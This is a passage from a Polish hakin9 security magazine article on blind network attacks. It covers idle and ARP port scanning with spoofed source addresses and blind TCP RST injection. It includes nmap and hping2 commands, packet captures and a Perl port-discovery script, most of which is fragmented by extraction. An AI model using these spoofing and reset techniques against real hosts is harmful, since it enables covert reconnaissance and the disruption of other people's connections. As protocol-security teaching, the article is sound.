syczny SYN-SCAN fałszując adres
źródłowy. Zastanawiając się, jakie
informacje może odesłać A, docho-
dzimy do wniosku, że zachodzą dwa
przypadki:

• jeżeli skanowany port jest otwar-

ty, komputer odeśle pakiet z usta-
wionymi flagami SYN i ACK. Pa-

kiet tak sformatowany spowodu-
je odesłanie przez B odpowiedzi
z ustawioną flagą RST, ponieważ
B nie zażądał nawiązania połą-
czenia,

• jeżeli skanowany port jest za-

mknięty, komputer odeśle pa-
kiet z ustawioną flagą RST lub
w ogóle nic nie odeśle, jeżeli
komputer jest odpowiednio skon-
figurowany.

W przypadku A jesteśmy w stanie
wykryć odesłanie odpowiedzi, na-
tomiast w przypadku B jesteśmy
w stanie wykryć jej brak. Skanowa-
nie będzie więc polegało na wysła-
niu pakietu testującego do B, pakietu
ze sfałszowanym adresem źródło-
wym do A oraz ponownie pakie-
tu testującego. Warto tutaj słowem
komentarza opatrzyć dwie rzeczy:
ograniczenia czasowe oraz imple-
mentację tej techniki w programie
NMAP. Biorąc pod uwagę ograni-
czenia czasowe, należy zaważyć,
że czas pomiędzy dwoma kolejny-
mi próbami nie może być krótszy
niż RTT pomiędzy A oraz B powięk-
szonym o czas odpowiedzi B (tak
dla pewności). Jeżeli nasze próby
będą zbyt częste, dojdzie do prze-
kłamań w wynikach, ponieważ od-
powiedź od A nie zdąży spowodo-
wać odesłania odpowiedzi przez B.
Możliwa jest również optymaliza-

Terminologia

• Tryb promisc karty sieciowej – cytując za Wikipedią: Tryb pracy interfejsu sie-

ciowego (np. ethernetowej karty sieciowej), polegający na odbieraniu całego
ruchu docierającego do karty sieciowej, nie tylko skierowanego na adres MAC
karty sieciowej.

• Host zombie – komputer w podsieci skanera wykorzystywany jako przykrywka w

skanowaniu.

• RFC – z ang. Request for Comment. Cytując z polskiej Wikipedii: Zbiór technicz-

nych oraz organizacyjnych dokumentów mających formę memorandum, związa-
nych z Internetem oraz sieciami komputerowymi. Każdy z nich ma przypisany uni-
kalny numer identyfikacyjny, zwykle używany przy wszelkich odniesieniach. Pu-
blikacją RFC zajmuje się Internet Engineering Task Force. Dokumenty nie mają
mocy oficjalnej, jednak niektóre z nich zostały później przekształcone w oficjalne
standardy sieciowe, np. opis większości popularnych protokołów sieciowych zo-
stał pierwotnie opisany właśnie w RFC.

• Fingerprinting – technika skanowania pozwalająca na odkrycie wersji systemu

operacyjnego, polegająca na badaniu szczególnych cech pakietów przychodzą-
cych od skanowanego komputera.

Tabela 2.

Porty źródłowe używane przez poszczególne systemy operacyjne

System operacyjny Zaobserwowany port

źródłowy

Użycie kolejnego portu

Cisco 12.2(8)

11000

Zwiększ o 1

Cisco 12.1(5)

48642

Zwiększ o 512

Cisco 12.0(7)

23106

Zwiększ o 512

Cisco 12.0(8)

11778

Zwiększ o 512

Windows 2000
5.00.2195 SP4

1038/1060

Zwiększ o 1

Windows 2000
5.00.2195 SP3

1060

Zwiększ o 1

Windows XP Home
Edition SP1

1050

Zwiększ o 1

Windows Vista

49158

Zwiększ o 1

Linux 2.4.18

32770

Zwiększ o 1

Linux 2.6.22

32768-61000, 1024-
4999

Zwiększ o 1*

* dla danego adresu docelowego

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

cja tej techniki i minimalizacja licz-
by prób kierowanych z C do hosta
zombie (czyli B). Program NMAP
wysyła nie jeden, lecz N pakietów
z adresem źródłowym równym B
i docelowym A. Jeżeli żaden z por-
tów nie jest otwarty, to kolejne testy
IP ID powinny różnić się o N.

Technika ta zaimplementowana

jest w programie NMAP. Aby wyko-
nać skanowanie tego typu, należy
na komputerze C wydać polecenie
przedstawione na Listingu 5.

Skanowanie portów

wykorzystujące ARP

Skoro już mowa o skanowaniu
ukrytym, nie sposób pominąć ska-
nowania wykorzystującego pakiety
żądania ARP. Technika ta również
polega na zaobserwowaniu, które
pakiety wzbudzają odpowiedź po
dotarciu do ofiary, a które nie. Jed-
nym z takich przypadków są pakie-
ty z ustawioną flagą FIN. Wysłanie
pakietu z ustawioną flagą FIN na
otwarty port nie powinno spowo-
dować wygenerowania odpowiedzi.
Jeżeli port jest zamknięty, kompu-
ter odpowiada pakietem z ustawio-
nymi flagami RST, ACK.

W przypadku systemów z Red-

mond dzieje się inaczej, ponieważ
nie ma znaczenia, czy port jest
otwarty czy zamknięty – Windows
zawsze odpowie na taki pakiet pa-
kietem z ustawioną flagą RST,
ACK. Można w celu skanowania
wykorzystać również klasyczny
SYN-SCAN, jeżeli na docelowym
komputerze firewall odrzuca pakie-
ty SYN skierowane do zamknię-
tych portów. Technika skanowania
wymaga, aby skanowany kompu-
ter znajdował się w innej sieci niż
podsieć skanera. Skanowanie jest
ślepe, ponieważ wysyłając pakiety
zmieniamy adres źródłowy pakie-
tu na adres komputera nieistnieją-
cego lub aktualnie niepracującego
w naszej podsieci. Jeżeli skanowa-
na maszyna odpowie, router łączą-
cy naszą sieć będzie próbował za-
mienić fałszywy adres IP z naszej
podsieci na adres fizyczny przy po-
mocy protokołu ARP. Nie powinno
to nastręczać szczególnych proble-

mów, gdyż zapytania ARP wysyła-
ne są do wszystkich komputerów
w podsieci. Nasłuchując odpowie-
dzi ARP, skanujący komputer jest
w stanie określić, czy testowany
port jest otwarty, czy też nie.

Atak RST na

ustanowione połączenie

A co, jeśli chcemy dla zestawione-
go połączenia przeprowadzić atak
RST (np. podobny do tego, który zo-
stał przedstawiony w hakin9 2/2007

Listing 1.

Fragmentacja pakietu o wielkości 5000B

(

2067

offset

length

1500

)

172.16

83.1

172.16

83.129

ICMP

echo

request

49943

seq

length

1480

(

2067

offset

1480

length

1500

)

172.16

83.1

172.16

83.129

icmp

(

2067

offset

2960

length

1500

)

172.16

83.1

172.16

83.129

icmp

(

2067

offset

4440

length

588

)

172.16

83.1

172.16

83.129

icmp

Listing 2.

Badanie sekwencji IP ID systemu Windows Vista

#hping2 172.16.83.128 -r -c 5

HPING

172.16

83.128

(

eth0

172.16

83.128

FLAGS

are

set

headers

data

bytes

len

172.16

83.128

ttl

128

348

sport

flags

seq

win

rtt

0.2

len

172.16

83.128

ttl

128

sport

flags

seq

win

rtt

0.2

len

172.16

83.128

ttl

128

sport

flags

seq

win

rtt

0.2

len

172.16

83.128

ttl

128

sport

flags

seq

win

rtt

0.3

len

172.16

83.128

ttl

128

sport

flags

seq

win

rtt

0.2

Listing 3.

Badanie sekwencji IP ID systemu Linux

#hping2 172.16.83.129 -r -c 5

HPING

172.16

83.129

(

eth0

172.16

83.129

FLAGS

are

set

headers

data

bytes

len

172.16

83.129

ttl

sport

flags

seq

win

rtt

0.5

len

172.16

83.129

ttl

sport

flags

seq

win

rtt

0.1

len

172.16

83.129

ttl

sport

flags

seq

win

rtt

0.1

len

172.16

83.129

ttl

sport

flags

seq

win

rtt

0.1

len

172.16

83.129

ttl

sport

flags

seq

win

rtt

0.2

Listing 4.

Wpływ pakietów wysyłanych przez poszczególne hosty na

używane IP ID

#hping2 172.16.83.128 -1 -r -c 5

HPING

172.16

83.128

(

eth0

172.16

83.128

icmp

mode

set

headers

data

bytes

len

172.16

83.128

ttl

128

1372

icmp_seq

rtt

0.2

len

172.16

83.128

ttl

128

icmp_seq

rtt

0.2

len

172.16

83.128

ttl

128

icmp_seq

rtt

0.3

len

172.16

83.128

ttl

128

icmp_seq

rtt

0.2

len

172.16

83.128

ttl

128

icmp_seq

rtt

0.3

hping2

172.16

83.129

HPING

172.16

83.129

(

eth0

172.16

83.129

icmp

mode

set

headers

data

bytes

len

172.16

83.129

ttl

6967

icmp_seq

rtt

0.2

len

172.16

83.129

ttl

icmp_seq

rtt

0.9

len

172.16

83.129

ttl

icmp_seq

rtt

0.1

len

172.16

83.129

ttl

icmp_seq

rtt

0.1

len

172.16

83.129

ttl

icmp_seq

rtt

0.5

hakin9 Nr 01/2008

www.hakin9.org

Atak

przez Marcina Ulikowskiego)? Pozo-
staje jedynie technika pasywnego
nasłuchiwania interesującego nas
ruchu i wstrzyknięcie we właściwym
momencie odpowiednio sformatowa-
nego pakietu. Budowa protokołów
TCP oraz IP oraz połączenie techni-
ki aktywnego i pasywnego skanowa-
nia umożliwia częściowe obejście te-
go problemu.

Kolejnym interesującym fak-

tem – oprócz analizy IP ID – bę-
dzie zachowanie się hostów biorą-
cych udział w konwersacji na dodat-
kowe niespodziewane pakiety. Za-
łóżmy, że ustanowiliśmy połączenie
SSH z komputera A do kompute-
ra B. Po stronie komputera A został
użyty port 49160 do połączenia się
z komputerem B na port 22. Wysy-
łając pakiety z komputera C będzie-
my chcieli empirycznie sprawdzić,
czy komputer A używa portu 49160.
Czytając RFC nr 793, można się na-
tknąć na interesującą sytuację opi-
saną na stronie 34. Autorzy RFC
opisują w niej zachowanie protoko-
łu TCP w przypadku, gdy jedna ze
stron zgubiła połączenie. W RFC
znajdziemy również opis zachowa-
nia w innych interesujących sytu-
acjach – kiedy host otrzyma pakiet
należący do nieistniejącego połą-
czania oraz kiedy dostanie pakiet
SYN-ACK należący do połączenia.

Zachowanie w wyżej wymie-

nionych trzech sytuacjach można
opisać następującym przykładem:
komputer C wysyła pakiet z ustawio-
nym adresem źródłowym komputera
B i adresem docelowym komputera
A. Port docelowy jest równy porto-
wi usługi SSH, natomiast port źró-
dłowy ustawiony jest na port, któ-
ry chcemy odkryć (port X). Jedyną
ustawiona flagą TCP jest SYN. Wy-
słanie takiego pakietu do B zgod-
nie z RFC spowoduje odesłanie
w kierunku źródła pakietu z ustawio-
nymi flagami SYN-ACK jeżeli pakiet
nie należał do konwersacji oraz
ACK przeciwnym przypadku. Po do-
tarciu pakietu do A możliwe są dwie
sytuacje. Jeśli pakiet należy do kon-
wersacji A-B i zawiera jedynie flagę
ACK, nic nie jest odsyłane. Pakiet
nienależący do żadnego połączenia

Interesujące pola IP i TCP

Pole ID protokołu IP wykorzystywane jest przy defragmentacji przychodzących pakie-
tów. Dla każdego wysłanego pakietu posiada unikalną wartość. Jeżeli pakiet zostanie
sfragmentowany przez pośredniczący router, pole ID pozostanie niezmienione i takie
samo w obrębie wszystkich fragmentów. W procesie fragmentacji bierze udział rów-
nież adres źródłowy pakietu, pole fragment offset oraz dwa bity - DF i MF pola nastę-
pującego po IP ID. Pierwszy bit – DF – zezwala lub zabrania fragmentacji. Bit MF jest
ustawiony na 1 dla pierwszego i kolejnych fragmentów pakietu oraz na 0 dla ostatnie-
go fragmentu. Pole fragment offset pozwala określić pozycję danego fragmentu w ory-
ginalnym pakiecie. Pole to ma 13 bitów, co przy maksymalnej wielkości pakietu IP rów-
nej 0xFFFF powoduje, że najmniejszy fragment ma 8 bajtów.

Na przykład dla MTU równego 1500 wysłanie pakietu ICMP ECHO o wielkości

5000 bajtów (w sumie 5008 po doliczeniu nagłówka ICMP) będzie widziane tak, jak
na Listingu 1.

Pola TCP SEQ oraz TCP ACK są licznikami. Pierwszy z nich liczy bajty wysłane,

a drugi potwierdzane. Doprecyzowując, TCP SEQ określa pozycję aktualnie wysyła-
nej paczki danych w całym strumieniu, natomiast druga wartość określa, który bajt po-
chodzący od drugiej strony poprawnie przetworzyliśmy. Wspominając o SEQ i ACK
nie można pominąć pola Window Size, które określa, ile danych strona ustawiająca tę
wartość jest w stanie odebrać.

Listing 5.

Uruchomienie skanera NMAP z opcją Idle Scanning

#nmap -sI 172.16.83.128 172.16.83.129

WARNING

Many

people

use

Idlescan

prevent

pings

from

their

true

the

other

hand

timing

info

Nmap

gains

from

pings

can

allow

for

faster

reliable

scans

Starting

Nmap

4.20

(

http

insecure

org

)

2007

CEST

Idlescan

using

zombie

172.16

83.128

(

172.16

83.128

);

Class

Incremental

Interesting

ports

172.16

83.129

Not

shown

1694

closed

filtered

ports

PORT

STATE

SERVICE

tcp

open

ssh

tcp

open

telnet

113

tcp

open

auth

MAC

Address

Nmap

finished

address

(

host

)

scanned

16.124

seconds

Listing 6.

Wpływ poprawnych i niepoprawnych pól portów źródłowych

na wysyłane dane

57.810075

172.16

83.128

49160

172.16

83.129

ssh

1218938372

(

)

win

512

57.810253

172.16

83.129

ssh

172.16

83.128

49160

ack

1768219816

win

4512

nop

sack

{

3745685853

3745685854

}

59.392821

172.16

83.128

49160

172.16

83.129

ssh

605303214

(

)

win

512

59.392933

172.16

83.129

ssh

172.16

83.128

49160

ack

win

4512

nop

sack

{

3132050695

3132050696

}

03.406027

172.16

83.128

49161

172.16

83.129

ssh

1540719811

(

)

win

512

03.406145

172.16

83.129

ssh

172.16

83.128

49161

4169466566

(

)

ack

1540719812

win

5840

mss

1460

03.406466

172.16

83.128

49161

172.16

83.129

ssh

1540719812

(

)

win

04.314936

172.16

83.128

49161

172.16

83.129

ssh

1240411569

(

)

win

512

04.315065

172.16

83.129

ssh

172.16

83.128

49161

4170366716

(

)

ack

1240411570

win

5840

mss

1460

04.315275

172.16

83.128

49161

172.16

83.129

ssh

1240411570

(

)

win

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

powoduje podjęcie przez komputer
A próby zerwania nieistniejącego
połączenia A-B pakietem z ustawia-
ną flagą RST.

Przechwytując ruch programem

tcpdump, powinniśmy uzyskać coś
podobnego do zawartości Listingu 6.
Znaczenie poszczególnych pól jest
następujące:

• czas IP adres źródłowy.port

–> adres docelowy.port: flagi,

SEQ _ P:SEQ _ O

(liczba bajtów) [ack

ACK] rozmiar okna <opcje>,

• pole

SEQ _ P:SEQ _ O

określa, jakie

są numery sekwencyjne przesy-
łanych bajtów.

Test polegał na wysłaniu czterech pa-
kietów: dwóch należących do połą-
czenia A-B oraz dwóch, które do nie-
go nie należały.

Prosty program wykrywający port

użyty przez maszynę A przedstawio-
ny jest na Listingu 7. Przykładowe wy-
wołanie programu ma postać:

./discover _ ports.pl -s 172.16.83.1 -d
172.16.83.129 -sp 22 -vi 172.16.83.128

Program zwróci w miarę dokładną li-
stę portów źródłowych użytych w ko-
munikacji A-B:

Found ports: 45474 45730 49160 51885

W celu przeprowadzenia udane-
go ataku RST należy jeszcze zdo-
być dodatkową informację. A mia-
nowicie numery sekwencyjne uży-
te dla połączenia przez komputer A
lub B. Do odkrycia są de facto dwie
liczby – liczniki bajtów w połączeniu
serwera SSH oraz klienta. W celu
sprawdzenia jednego z owych liczni-
ków zastosujemy ponownie sztuczkę
z IP ID. Najpierw należy jednak zro-
zumieć, do czego służą flagi ACK
I SEQ protokołu TCP.

Załóżmy, że host B otrzymuje

pakiet. Pole SEQ tego pakietu jest
licznikiem bajtów komputera A i po-
winno się mieścić w tzw. oknie od-
biorczym komputera odbierające-
go wiadomość (w tym przypad-
ku A). Okno odbiorcze jest warto-
ścią ograniczającą liczbę pakietów,

Listing 7a.

Program, który odkryje porty używane w komunikacji A-B

#!/usr/bin/perl

use

Net

Pcap

;

use

Net

RawIP

;

use

NetPacket

Ethernet

strip

);

use

NetPacket

ICMP

;

use

Getopt

Long

(

GetOptions

);

use

NetPacket

;

use

FileHandle

;

use

threads

;

use

threads

shared

;

use

Time

HiRes

;

STDOUT

autoflush

(

);

my_ip

server_ip

server_port

victim_ip

;

opt

;

promisc

;

snaplen

;

(

err

net

mask

dev

filter_t

);

probes_array

;

(

probes_array

);

GetOptions

(

"s=s"

my_ip

"d=s"

server_ip

"sp=s"

server_port

"vi=s"

victim_ip

)

uzycie

();

uzycie

()

not

server_ip

;

dev

rdev

(

server_ip

);

filter

"src host $victim_ip"

;

my_id_cnt

;

my_id_prb_cnt

;

ports_to_scan

(

[

65535

]

);

found_ports

;

(

found_ports

);

thread

threads

create

(

start_probing

undef

);

die

(

not

defined

thread

);

(

Net

Pcap

lookupnet

(

dev

, \$

net

, \$

mask

, \$

err

)

{

die

"Net::Pcap::lookupnet failed. Error was $err"

;

}

pcap_t

Net

Pcap

open_live

(

dev

, $

snaplen

, $

promisc

, $

to_ms

, \$

err

);

pcap_t

die

"Can't create packet descriptor. Error was $err"

;

(

Net

Pcap

compile

(

pcap_t

, \$

filter_t

, $

filter

, $

opt

, $

net

)

{

die

"Unable to compile filter string '$filter'

;

}

Net

Pcap

setfilter

(

pcap_t

, $

filter_t

);

Net

Pcap

loop

(

pcap_t

, \

callback

, \@

);

sub

start_probing

{

rtt_tuned

0.20

;

outcond

;

"RTT autotune. Starting from: $rtt_tuned

;

while

(

outcond

)

{

local

;

for

(

client_port

;

client_port

100

;

client_port

++)

{

send_probe

();

send_testing_packet

();

Time

HiRes

sleep

(

rtt_tuned

);

}

{

lock

(

found_ports

);

(

scalar

(

found_ports

)>=

)

{

rtt_tuned

;

outcond

;

last

;

}

undef

found_ports

;

hakin9 Nr 01/2008

www.hakin9.org

Atak

które – w analizowanym przypadku
– może na raz odebrać host A. Po-
le ACK pakietu pochodzącego od B
określa, który pakiet wysłany z A zo-
stał poprawnie odebrany i przetwo-
rzony.

Aby to zobrazować, prześledźmy

przykładową komunikację C z A. Na
komputerze C została wydana ko-
menda telnet A. Część wymiany pa-
kietów pokazuje Listing 8., w którym
dla uproszczenia usunięto niektóre
dane drukowane przez tcpdump.

W celu ustanowienia połącze-

nia wymieniane są pakiety od nu-
meru 1 do 3. Jest to klasyczny przy-
kład trzystopniowego uzgadnia-
nia numerów sekwencyjnych. War-
to jednak zauważyć, że pakiety
z ustawioną flagą SYN (numer se-
kwencyjny=3157436274) druga stro-
na potwierdza numerem ACK (pa-
kiet numer 2) o jeden większym
(3157436275) – tak, jakby poprzed-
ni pakiet niósł jeden dodatkowy bajt
danych. Daje to nam pewność do-
starczenia numerów synchroniza-
cyjnych do drugiej strony. Komunika-
cja C->A zaczyna się od pakietu nu-
mer 4 świadczącego o wysłaniu 27
bajtów danych. Bajty te są potwier-
dzane przez A w pakiecie numer 5,
w którym pole ACK jest równe po-
lu SEQ pakietu numer 4 powiększo-
nemu o 27 bajtów danych. Pakiet nu-
mer 6 jest odpowiedzią hosta A skła-
dającą się z 3 bajtów danych. Od-
powiedź hosta A jest potwierdzana
w pakiecie numer 7. I tak dalej.

Dzięki takiemu mechanizmo-

wi oba komputery posiadają wiedzę
o danych, które dotarły do drugiego
komputera i danych, które wymaga-
ją retransmisji. Naszym celem bę-
dzie wysłanie pakietu, który będzie
miał licznik tak ustawiony, aby cały
pakiet został zinterpretowany przez
ofiarę jako poprawny.

Na pierwszy rzut oka wyda-

je się, że należy bardzo dokładnie
odgadnąć oba te liczniki. Dla ce-
lu przeprowadzania ataku RST na
system Vista jest to prawda, jed-
nak odkrycie przedziału numerów
akceptowanych przez B nie wy-
maga już takiej precyzji. Gdyby nie
był dopuszczony pewien margines

Listing 7b.

Program, który odkryje porty używane w komunikacji A-B

}

rtt_tuned

;

"RTT: coud do beter: trying $rtt_tuned

;

(

rtt_tuned

0.005

)

{

outcond

;

last

;

}

undef

found_ports

;

"RTT established at: $rtt_tuned

;

sleep

(

);

while

(

scalar

(

ports_to_scan

)!=

)

{

(

port_begin

port_end

)

{

pop

(

ports_to_scan

)

}

;

"Scanning from/to: $port_begin,$port_end

;

for

(

client_port

port_begin

;

client_port

port_end

;

client_port

++)

{

send_probe

();

send_testing_packet

();

Time

HiRes

sleep

(

rtt_tuned

)

(

rtt_tuned

0.0005

);

}

"Found ports: @found_ports

;

}

sub

send_probe

{

rawip

Net

RawIP

new

(

{

icmp

{}}

);

rawip

set

(

{

saddr

my_ip

daddr

victim_ip

}

icmp

{

type

NetPacket

htons

(

my_id_cnt

)

sequence

NetPacket

htons

(

my_id_cnt

)

data

timem

()

}

);

rawip

send

();

{

lock

(

probes_array

);

push

(

probes_array

my_id_cnt

);

}

my_id_cnt

(++

my_id_cnt

65536

);

}

sub

send_testing_packet

{

rawip

Net

RawIP

new

(

{

saddr

victim_ip

daddr

server_ip

}

tcp

{

dest

server_port

source

client_port

psh

syn

}}

);

rawip

send

();

{

lock

(

probes_array

);

push

(

probes_array

, $

client_port

);

}

(

client_port

100

)

{

"Probed client port: $client_port

;

}

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

błędu, pakiety, które przyszłyby
w złej kolejności, byłyby odrzucane
– znacząco degradując prędkość
połączenia.

Aby umożliwić odbieranie pa-

kietów, które przychodzą w różnej
kolejności, protokół TCP wprowa-
dził pojęcie okna. De facto istnieją
trzy okna: nadawcze, unikania za-
toru (tzw. congestion window) i od-
biorcze. Oknem congestion nie bę-
dziemy się zajmować. Okno nadaw-
cze związane jest poniekąd z oknem
congestion, natomiast okno odbior-
cze określa, ile dany host mo-
że przyjąć danych na raz (lub pa-
trząc od strony nadawcy – ile mo-
że on wysłać danych, które odbior-
ca jest w stanie przetworzyć). Roz-
miar okna odbiorczego jest komuni-
kowany nadawcy podczas ustana-
wiania połączenia i modyfikowany
w zależności od warunków panu-
jących w sieci. Służy do tego celu
specjalne, 16-bitowe pole protokołu
TCP o nazwie window i znajdujące
się 208 bitów od początku nagłów-
ka TCP. Łatwo zauważyć, że 16 bi-
tów ogranicza maksymalną wielkość
okna do 65535, co jest niewystar-
czające przy osiągach obecnych sie-
ci. Z pomocą przychodzi mechanizm
skalowania okna, którego dane – ja-
ko dodatkowe pole – doklejane są do
nagłówka w fazie ustalania połącze-
nia. Pozwala on przeskalować okno
o maksymalnie 2^14 bajtów powodu-
jąc, że dopuszczalny rozmiar okna
urasta do 1GB. Duże znaczenie ma
również domyślny rozmiar okna, któ-
ry jest inny dla każdego z systemów.
Przykładowe rozmiary okien poka-
zane są w Tabeli 1.

Warto również wiedzieć, że Win-

dows Vista używał w przeprowa-
dzonym teście współczynnika ska-
lowania okna równego 8 – co ozna-
cza, że rozmiar okna jest równy 8192
pomnożone przez 256 (2^8), nato-
miast współczynnik skalowania okna
w systemie Linux wynosił od 2 do 4.
Oczywiście nie można zakładać, że
jest to regułą.

Jak wcześniej zostało wspo-

mniane, numer sekwencyjny kom-
putera A zostanie odkryty poprzez
testowanie IP ID komputera z zain-

Listing 7c.

Program, który odkryje porty używane w komunikacji A-B

}

sub

received_probe_pacet

{

(

raw_data

)

;

dest_port

;

port_scanned

last_id

;

NetPacket

decode

(

eth_strip

(

raw_data

));

(

icmp_type

icmp_code

icmp_chsum

icmp_id

icmp_seqnum

icmp_data

)

unpack

(

"CCnnna*"

{

data

}

);

{

lock

(

probes_array

);

(

scalar

(

probes_array

)>=

)

{

$id = shift (@probes _ array);

dest_port

shift

(

probes_array

);

last_id

probes_array

[

];

(

last_id

icmp_id

)

{

outofsync

;

while

((

scalar

(

probes_array

)>=

)

(

outofsync

))

{

shift

(

probes_array

);

dest_port

shift

(

probes_array

);

last_id

probes_array

[

];

(

last_id

icmp_id

)

{

outofsync

;

}

(

my_id_prb_cnt

{

}

)

{

push

found_ports

dest_port

;

}

expected_ip_id

icmp_id

;

my_id_prb_cnt

{

}

;

my_id_prb_cnt

++;

}

sub

analyze_packet

{

(

raw_data

)

;

NetPacket

decode

(

eth_strip

(

raw_data

));

(

{

proto

}

NetPacket

IP_PROTO_ICMP

)

{

icmp

NetPacket

ICMP

decode

(

NetPacket

strip

(

raw_data

));

(

icmp

{

code

}

ICMP_ECHOREPLY

)

{

received_probe_pacet

(

raw_data

);

}

sub

callback

{

(

args

header

packet

)

;

analyze_packet

(

packet

);

}

sub

uzycie

{

"$0 -s my-ip -d server-ip -sp server_port -vi victim-ip

;

exit

;

}

hakin9 Nr 01/2008

www.hakin9.org

Atak

stalowanym systemem Windows Vi-
sta. Aby uzmysłowić sobie, jak te-
go dokonać, należy zaobserwować,
co się dzieje w przypadku, gdy da-
ny host otrzyma pakiet z numerem
SEQ spoza okna odbiorczego (patrz
Listing 9).

Host B wysyła numer sekwen-

cyjny ostatnio odebranego bajtu.
Istotne jest to, że wysyłając zwięk-
sza licznik IP ID, który możemy od-
czytać poznaną wcześniej metodą.
Jeżeli numer SEQ jest w oknie od-
biorczym hosta B, to nie odeśle on
nam żadnej odpowiedzi. Warto nad-
mienić, że wykrywanie numerów se-
kwencyjnych jest procesem szyb-
szym niż wykrywanie portów, ponie-
waż wysyłając pakiety do B nie mu-
simy się przejmować RTT pomiędzy
A oraz B. Nie musimy ponadto prze-
szukiwać pełnego zakresu (czyli od
0 od 2^32-1), ponieważ host B uzna
za poprawny numer sekwencyjny
z zakresu, którego się spodziewa.
Można więc przyjąć pewien począt-
kowy rozmiar okna równy N=64K
i przeszukać cały zakres numerów
sekwencyjnych zwiększając SEQ
o 64K. Jeżeli nie uda się nam zna-
leźć okna odbiorczego, to – jak su-
geruje jedno ze źródeł – ustalamy
SEQ=N/2+I*N dla każdego I. Je-
żeli w dalszym ciągu nie znajdzie-
my okna, ustalamy SEQ=N/4+I*N/2
i postępujemy podobnie.

Jeżeli uda nam się wpaść w okno

odbiorcze hosta B, z łatwością może-
my odkryć dokładny numer sekwen-
cyjny B używając bisekcji, tak jak to
jest pokazane na Rysunku 2.

Odkrywszy numer SEQ hosta A,

możemy przeprowadzić atak RST.
RFC 793 dokładnie określa wy-
magania i zachowanie stosu TCP
w przypadku odebrania pakietu
z ustawioną flagą RST. A mianowi-
cie, we wszystkich stanach oprócz
początkowego (SYN-SENT) odebra-
ne pakiety z flagą RST muszą mieć
poprawny numer sekwencyjny. Nu-
mer sekwencyjny dla tych pakietów
jest poprawny, gdy SEQ znajduje się
w przedziale okna odbiorczego. W fa-
zie SYN-SENT RST jest akceptowa-
ne, jeśli pole ACK potwierdza wcze-
śniej wysłany pakiet z flagą SYN.

Microsoft interpretuje RFC 793

na własny sposób i wymaga, aby
pole SEQ pakietu resetującego po-
łączenie było równe wartości ocze-
kiwanej, co poniekąd jest bezpiecz-
niejsze – gdyż teoretycznie host
A powinien móc zresetować połą-
czenie i zna dokładną wartość SEQ.
Z interpretacją RFC nie ma nato-

miast problemów system A, więc
gdyby z resetowaniem połączenia
były problemy, to można spróbować
w pełni ślepego ataku RST na ma-
szynę linuksową. W badanym przy-
padku rozmiar okna został po usta-
leniu połączenia ustawiony na 2352
przy współczynniku skalowania rów-
nym 2, co dało rozmiar okna 10128

Listing 8.

Szczegóły przykładowej komunikacji C<->A

(

56121

length

)

172.16

83.1

45462

172.16

83.129

3157436274

(

)

(

length

)

172.16

83.129

172.16

83.1

45462

1617613530

(

)

ack

3157436275

(

56122

length

)

172.16

83.1

45462

172.16

83.129

ack

1617613531

(

56123

length

)

172.16

83.1

45462

172.16

83.129

3157436275

3157436302

(

)

ack

1617613531

(

7199

length

)

172.16

83.129

172.16

83.1

45462

ack

3157436302

(

7200

length

)

172.16

83.129

172.16

83.1

45462

1617613531

1617613534

(

)

ack

3157436302

(

56124

length

)

172.16

83.1

45462

172.16

83.129

ack

1617613534

(

56125

length

)

172.16

83.1

45462

172.16

83.129

3157436302

3157436305

(

)

ack

1617613534

Rysunek 1.

Badanie poprawności portu źródłowego

�

��

��
��

��
��
��
��

�

��

��
��

��
��
��
��

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

bajtów. Przejrzenie całego zakresu
2^32 numerów sekwencyjnych wy-
maga w tym przypadku wysłania
około 424068 pakietów. Przy założe-
niu, że typowy pakiet ma 40 bajtów,
wymagałoby to wysłania 16962720
bajtów. Zakładając typowe łącze
o prędkości 256 Kbit/s, zresetowa-
nie połączenia może zająć w najgor-
szym przypadku 8,7 minuty.

Atak w pełni ślepy

Uważny czytelnik pewnie dostrzegł,
że w pełni ślepy atak jest możliwy do
zrealizowania w sprzyjających wa-
runkach. Przy oknie odbiorczym rzę-
du 1GB wystarczą cztery próby, aby
zresetować dane połączenie. Pro-
blem może sprawić odkrycie portów
źródłowych i docelowych. Jednak
i one są w pewnym stopniu przewidy-
walne (patrz Tabela 2). Mając do dys-
pozycji zakresy i zakładając 4 próby
na rozłączenie połączenia, można
w optymistycznym przypadku dopro-
wadzić do awarii połączenia w mniej
niż 9 minut. Oczywiście w większości
przypadków nie ma się co łudzić – po-
myślny atak w tak krótkim czasie nie
powiedzie się.

Cała reszta

Należy zdać sobie sprawę, że arty-
kuł opisuje tylko niektóre możliwości,
jakie niosą ze sobą ślepe ataki. Ska-
nowanie oraz ataki RST są przysło-
wiowym wierzchołkiem góry lodowej,
pod którą kryje się wiele możliwości.
Wierny czytelnik hakin9 od razu po-
winien zauważyć fakt, że wprowa-
dzanie własnych informacji do usta-
nowionego połączenia umożliwia za-
stosowanie większości ataków we
wszystkich warstwach, począwszy
od warstwy IP. Dzięki wiedzy zdoby-
tej podczas skanowania można rów-
nież przyśpieszyć atak ICMP opisy-
wany w hakin9 3/2007 przez Marcina
Ulikowskiego, nie mówiąc już możli-

wości wykorzystania pluginu własnej
produkcji w Metasploit (patrz: hakin9
4/2007).

Podsumowanie

Warto uzmysłowić sobie, dlaczego
ślepe ataki są możliwe. Wszędzie
tam, gdzie występują przewidywal-
ne liczby, pojawia się niebezpieczeń-
stwo wykorzystania tego faktu. Po-
nadto same protokoły wykorzysty-
wane w Internecie oraz ich pełna lub
częściowa zgodność z RFC stanowi
niejakie zagrożenie, ponieważ stan

wiedzy o bezpieczeństwie znacznie
się zwiększył od czasu sformalizowa-
nia standardów internetowych. Istnie-
nie technik opisanych w artykule za-
wdzięczamy dokładnemu poznaniu
zarówno protokołów, jak i ich słabo-
ści. Świadomość zagrożenia istnie-
je i zewsząd pojawiają się inicjaty-
wy, które mają na celu niwelacje za-
grożenia, jak np. grsecurity czy inne
łatki jądra lub chociażby zmiany sto-
su TCP/IP w Windows Vista. Z dru-
giej strony jednak należy spojrzeć na
zamysł TCP/IP z dużym uznaniem.
Rozwiązania te, niekiedy powstałe
30 lat temu, są codziennie wykorzy-
stywane przez miliony użytkowników.
Gdyby technologię TCP/IP porównać
do motoryzacji, od razu można sobie
wyobrazić bezpieczeństwo na dro-
dze, po której poruszają się trzydzie-
stoletnie rzęchy. l

O autorze

Konrad Malewski, absolwent informatyki Politechniki Śląskiej. Obecnie doktorant in-
formatyki na AGH. Administrator amatorskich sieci komputerowych. Zarówno w pra-
